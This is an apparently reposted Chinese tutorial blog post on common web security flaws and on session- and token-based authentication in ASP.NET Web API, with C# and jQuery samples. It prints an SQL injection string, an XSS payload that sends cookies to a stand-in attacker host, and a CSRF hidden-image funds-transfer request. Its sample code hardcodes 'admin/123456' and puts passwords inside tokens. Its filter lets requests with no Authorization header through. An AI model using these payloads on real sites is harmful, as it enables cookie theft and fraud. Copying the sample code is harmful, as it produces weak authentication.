第八节:常见安全隐患和传统的基于Session和Token的安全校验
一. 常見(jiàn)的安全隱患
?1. SQL注入
?常見(jiàn)的案例:
String query = "SELECT * FROM T_User WHERE userID='" + Request["userID"] + "';這個(gè)時(shí)候,只需要在傳遞過(guò)來(lái)的userID后面加上個(gè): or 1=1,即可以獲取T_User表中的所有數(shù)據(jù)了。
解決方案:參數(shù)化查詢。
2. 跨站腳本攻擊(Cross-Site Scripting (XSS))
允許跨站腳本是Web 2.0時(shí)代網(wǎng)站最普遍的問(wèn)題。如果網(wǎng)站沒(méi)有對(duì)用戶提交的數(shù)據(jù)加以驗(yàn)證而直接輸出至網(wǎng)頁(yè),那么惡意用戶就可以在網(wǎng)頁(yè)中注入腳本來(lái)竊取用戶數(shù)據(jù)。
eg:通過(guò)后臺(tái)代碼編寫前端代碼進(jìn)行輸出
1 string page += "<input name='userName' type='TEXT' value='" + request.getParameter("CC") + "'>";攻擊者只要輸入以下數(shù)據(jù):
'><script>document.location= 'http://www.attacker.com/cgi-bin/cookie.cgi ?foo='+document.cookie</script>'當(dāng)該數(shù)據(jù)被輸出到頁(yè)面的時(shí)候,每個(gè)訪問(wèn)該頁(yè)面的用戶cookie就自動(dòng)被提交到了攻擊者定義好的網(wǎng)站。
解決方案:輸入的數(shù)據(jù)要進(jìn)行安全校驗(yàn)和轉(zhuǎn)義
3.跨站請(qǐng)求偽造(Cross-Site Request Forgery (CSRF) )
同樣是跨站請(qǐng)求,這種與上面XSS的不同之處在于這個(gè)請(qǐng)求是從釣魚網(wǎng)站上發(fā)起的。
比如釣魚網(wǎng)站包含了下面代碼:
<img src="http://example.com/app/transferFunds?amount=1500&destinationAccount=attackersAcct#" width="0" height="0" />這行代碼的作用就是一個(gè)在example.com網(wǎng)站的轉(zhuǎn)帳請(qǐng)求,客戶訪問(wèn)釣魚網(wǎng)站時(shí),如果也同時(shí)登錄了example.com或者保留了example.com的登錄狀態(tài),那個(gè)相應(yīng)的隱藏請(qǐng)求就會(huì)被成功執(zhí)行。
解決方案:
使用Token校驗(yàn),保存好Token,比如:JWT校驗(yàn)。
?
二. 兩類系統(tǒng)要解決的常見(jiàn)問(wèn)題
1. Web系統(tǒng)
(1).是否登錄. 沒(méi)有登錄話是不能進(jìn)入登錄以外的頁(yè)面,即使訪問(wèn),也要返回到自動(dòng)進(jìn)入登錄頁(yè)面。
(2).是否有權(quán)限. 權(quán)限的展現(xiàn)分兩種:a. 沒(méi)有權(quán)限的話直接不顯示. b. 沒(méi)有權(quán)限但是顯示,單擊的時(shí)候提示沒(méi)有權(quán)限。
2.APP接口
(1).接口安全,不是任何人都能訪問(wèn)的,必須登錄后才能訪問(wèn),當(dāng)然也有一部分不需要登錄。
(2).防止接口被知道參數(shù)后任何能直接訪問(wèn),要有校驗(yàn),即使地址暴露別人也訪問(wèn)不通。
?
三. 傳統(tǒng)的基于Session的校驗(yàn)
1. 前言
基于Session的校驗(yàn),通常是用在管理系統(tǒng)中或者網(wǎng)站上,不適用于APP接口或者前后端分離的項(xiàng)目。
PS:復(fù)習(xí)一下Session的原理:https://www.cnblogs.com/yaopengfei/p/8057176.html
2. 步驟
①:登錄成功,將用戶信息(一個(gè)實(shí)體)和該用戶對(duì)應(yīng)的權(quán)限信息存放到Session中。
②:對(duì)所有的頁(yè)面的展示的地址(前提需要登錄后才能顯示的),加上一個(gè)過(guò)濾器,在過(guò)濾器中判斷該用戶是否登錄過(guò),沒(méi)有登錄的話直接退回到登錄頁(yè)面。
③:對(duì)所有的業(yè)務(wù)操作的方法加上一個(gè)過(guò)濾器,在過(guò)濾器中判斷該用戶是否該權(quán)限,沒(méi)有的話,直接提示沒(méi)有權(quán)限。
注:以上②和③中的過(guò)濾器里,都需要到Session中取值。
3. 基于Session驗(yàn)證的弊端
①:Session經(jīng)常過(guò)期回收,導(dǎo)致Session為空,是一些業(yè)務(wù)操作莫名其妙的沒(méi)法使用。可以改進(jìn)為使用數(shù)據(jù)庫(kù)的Session,會(huì)好很多。
②:由于Session的原理可知,在同一個(gè)瀏覽器中,先后用不同賬號(hào)登錄,先登錄的賬號(hào)Session中的信息會(huì)被后登陸賬號(hào)Session中的信息覆蓋。
③:每個(gè)用戶登錄一次,就需要往Session做一次記錄,而Session默認(rèn)是保存在服務(wù)器內(nèi)存中的,隨著認(rèn)證的用戶增多,服務(wù)器端開銷明顯增大。
④:不能進(jìn)行負(fù)載均衡,保存在內(nèi)存中,下次還需要到這臺(tái)服務(wù)器上才能拿到授權(quán)。
⑤:Session是基于Cookie,如果Cookie被截獲,用戶很容易受到跨站請(qǐng)求偽造攻擊(CSRF)。
?
四. 傳統(tǒng)的基于Token的校驗(yàn)
1. 背景
APP項(xiàng)目或者其它前后端分離的項(xiàng)目,Session驗(yàn)證用不了,只能用基于token的驗(yàn)證。當(dāng)然Web項(xiàng)目也可以采用這種方式。
2. 步驟
①:通過(guò)賬號(hào)和密碼登錄成功,服務(wù)端生成一個(gè)token(比如:32位不重復(fù)的隨機(jī)字符串)。
②:服務(wù)端把該token和用戶id保存到數(shù)據(jù)庫(kù)(SQLServer或Redis)或者Session中,然后把token值返回給前端。
③:客戶端每次請(qǐng)求都帶上該token,服務(wù)端根據(jù)該token來(lái)查詢是否合法和過(guò)期,然后去數(shù)據(jù)庫(kù)中查出來(lái)用戶id進(jìn)行使用。
3. 弊端
①:驗(yàn)證信息如果存在數(shù)據(jù)庫(kù)中,每次都要根據(jù)token查用戶id,增加了數(shù)據(jù)庫(kù)的開銷。
②:驗(yàn)證信息如果存在Session中,則增大了服務(wù)器端存儲(chǔ)的壓力。
③:token一旦被截取,就很容易進(jìn)行跨站請(qǐng)求偽造。
4. 鑒于以上弊端進(jìn)行思考
①:如果token遵從一定規(guī)律,使用對(duì)稱加密算法來(lái)加密用戶id生成token,服務(wù)器端只要解密該token,就能知道用戶id了,不需要額外的開銷。?但是,如果對(duì)稱加密算法泄露了,別人也可以偽造token了。
②:如果我們用非對(duì)稱加密算法來(lái)做呢,保存好秘鑰,就不存在上面的問(wèn)題了,從而引出JWT類似于該原理。
5. 實(shí)戰(zhàn)案例(基于Token的小升級(jí))
A. 步驟
(1) 登錄成功,將賬號(hào)和密碼按照一定格式進(jìn)行拼接成字符串,然后進(jìn)行票據(jù)加密(對(duì)稱加密,這其中可以設(shè)置很多東西,比如過(guò)期時(shí)間),將生成的ticket返回給客戶端。
(2) 客戶端可以把該ticket值存到localstorage中,每次請(qǐng)求在表頭進(jìn)行附加。
(3) 服務(wù)器端寫一個(gè)過(guò)濾器,對(duì)該ticket進(jìn)行解密,拿到賬號(hào)和密碼,去數(shù)據(jù)庫(kù)中查詢,是否匹配,如果匹配則驗(yàn)證通過(guò)。
B. 深度分析
同樣存在被截取的問(wèn)題,加密算法如果被人知道,容易被偽造
服務(wù)器端驗(yàn)證:見(jiàn)CheckPer0.cs
C. 代碼分享
(1). 服務(wù)器端校驗(yàn)登錄的代碼
1 /// <summary>2 /// 模擬登陸3 /// </summary>4 /// <param name="userAccount"></param>5 /// <param name="pwd"></param>6 /// <returns></returns>7 [HttpGet]8 public string Login0(string userAccount, string pwd)9 { 10 //這里實(shí)際應(yīng)該去數(shù)據(jù)庫(kù)驗(yàn)證,此處暫時(shí)用固定值寫死 11 if (userAccount == "admin" && pwd == "123456") 12 { 13 FormsAuthenticationTicket ticketObject = new FormsAuthenticationTicket(0, userAccount, DateTime.Now, DateTime.Now.AddHours(1), true, $"{userAccount}&{pwd}", FormsAuthentication.FormsCookiePath); 14 var result = new { result = "ok", ticket = FormsAuthentication.Encrypt(ticketObject) }; 15 return JsonConvert.SerializeObject(result); 16 } 17 else 18 { 19 var result = new { result = "error" }; 20 return JsonConvert.SerializeObject(result); 21 } 22 }(2). 客戶端調(diào)用登錄的代碼
獲取成功,將token值存放到localStorage中。
1 $.get("/api/Seventh/Login0", { userAccount: "admin", pwd: "123456" }, function (data) {2 var jsonData = JSON.parse(data);3 if (jsonData.result == "ok") {4 console.log(jsonData.ticket);5 //存放到本地緩存中6 window.localStorage.setItem("myTicket", jsonData.ticket);7 alert("登錄成功,ticket=" + jsonData.ticket);8 } else {9 alert("登錄失敗"); 10 } 11 });(3). 服務(wù)器端過(guò)濾器代碼
該過(guò)濾器中通過(guò)?actionContext.Request.Headers.Authorization 獲取固定的參數(shù)位:Authorization,然后通過(guò)?authorizationModel.Parameter 獲取參數(shù)值,前端需要分割一下,如下:
當(dāng)然還有很多別的賦值和獲取的方式,詳細(xì)的見(jiàn)下面章節(jié)。
1 /// <summary>2 /// 基于token的小升級(jí)3 /// 過(guò)濾器4 /// </summary>5 public class CheckPer0 : AuthorizeAttribute6 {7 public override void OnAuthorization(HttpActionContext actionContext)8 {9 //1. 獲取報(bào)文頭(固定的參數(shù)位 Authorization) 10 var authorizationModel = actionContext.Request.Headers.Authorization; 11 //2. 如果標(biāo)注了[AllowAnonymous]特性,則不進(jìn)行驗(yàn)證 12 if (actionContext.ActionDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != 0 13 || actionContext.ActionDescriptor.ControllerDescriptor.GetCustomAttributes<AllowAnonymousAttribute>(true).Count != 0) 14 { 15 //base.OnAuthorization(actionContext); 16 } 17 else if (authorizationModel != null && authorizationModel.Parameter != null) 18 { 19 try 20 { 21 //邏輯驗(yàn)證 22 //解密 23 var strTicket = FormsAuthentication.Decrypt(authorizationModel.Parameter).UserData; 24 //此處應(yīng)該去數(shù)據(jù)庫(kù)驗(yàn)證 25 if (strTicket.Equals("admin&123456")) 26 { 27 //表示校驗(yàn)通過(guò),用于向控制器中傳值 28 actionContext.RequestContext.RouteData.Values.Add("auth", strTicket); 29 } 30 else 31 { 32 base.HandleUnauthorizedRequest(actionContext);//返回沒(méi)有授權(quán) 33 } 34 } 35 catch (Exception) 36 { 37 38 base.HandleUnauthorizedRequest(actionContext);//返回沒(méi)有授權(quán) 39 } 40 } 41 } 42 }(4). 服務(wù)器端加密后獲取信息的代碼
1 /// <summary>2 /// 加密后獲取信息3 /// </summary>4 /// <returns></returns>5 [HttpGet]6 [CheckPer0]7 public string GetInfor0()8 {9 var userData = RequestContext.RouteData.Values["auth"].ToString(); 10 if (string.IsNullOrEmpty(userData)) 11 { 12 var result = new { Message = "error", data = "" }; 13 return JsonConvert.SerializeObject(result); 14 } 15 else 16 { 17 var result = new { Message = "ok", data = userData }; 18 return JsonConvert.SerializeObject(result); 19 } 20 }(5). 客戶端調(diào)用獲取信息的代碼
1 //從本地緩存中讀取token值2 var myTicket = window.localStorage.getItem("myTicket");3 $.ajax({4 url: "/api/Seventh/GetInfor0",5 type: "Get",6 data: {},7 datatype: "json",8 beforeSend: function (xhr) {9 //Authorization 是一個(gè)固定的參數(shù)位置,本來(lái)就有這個(gè)參數(shù),后臺(tái)方便獲取,當(dāng)然也可以自己命名 10 //在myTicket前面加個(gè)BasicAuth1 只是為了后臺(tái).Parameter能獲取到而已,至于叫什么名,沒(méi)有關(guān)系 11 xhr.setRequestHeader("Authorization", 'BasicAuth1 ' + myTicket) 12 }, 13 success: function (data) { 14 console.log(data); 15 alert(data); 16 }, 17 //當(dāng)安全校驗(yàn)未通過(guò)的時(shí)候進(jìn)入這里 18 error: function (xhr) { 19 if (xhr.status == 401) { 20 console.log(xhr.responseText); 21 alert("授權(quán)未通過(guò)"); 22 } 23 } 24 });(6). 運(yùn)行結(jié)果
?
總結(jié)
以上是生活随笔為你收集整理的第八节:常见安全隐患和传统的基于Session和Token的安全校验的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: GPU暴增67%!苹果M2性能跑分曝光:
- 下一篇: SharePoint 2013 搭建负载